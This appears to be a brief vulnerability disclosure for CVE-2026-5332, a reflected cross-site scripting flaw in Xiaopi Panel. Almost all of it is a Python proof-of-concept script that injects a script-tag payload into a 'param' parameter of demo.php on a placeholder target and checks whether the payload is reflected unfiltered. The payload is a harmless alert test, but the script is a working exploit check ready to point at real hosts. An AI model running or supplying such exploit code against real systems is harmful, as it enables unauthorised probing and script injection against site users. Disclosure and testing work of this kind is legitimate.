CVE-2026-5332 Xiaopi Panel存在XSS漏洞

import requests # Target URL (Change to actual target) target_url = "http://target-ip/demo.php" # Malicious XSS payload xss_payload = "<script>alert('CVE-2026-5332_XSS_Test');</script>" # Inject payload into the vulnerable parameter params = { "param": xss_payload } try: # Send GET request response = requests.get(target_url, params=params, timeout=10) # Check if the payload is reflected unfiltered in the response if xss_payload in response.text: print("[+] Vulnerability confirmed! Payload reflected in response.") else: print("[-] Payload not reflected or filtered.") except Exception as e: print(f"Error connecting to target: {e}")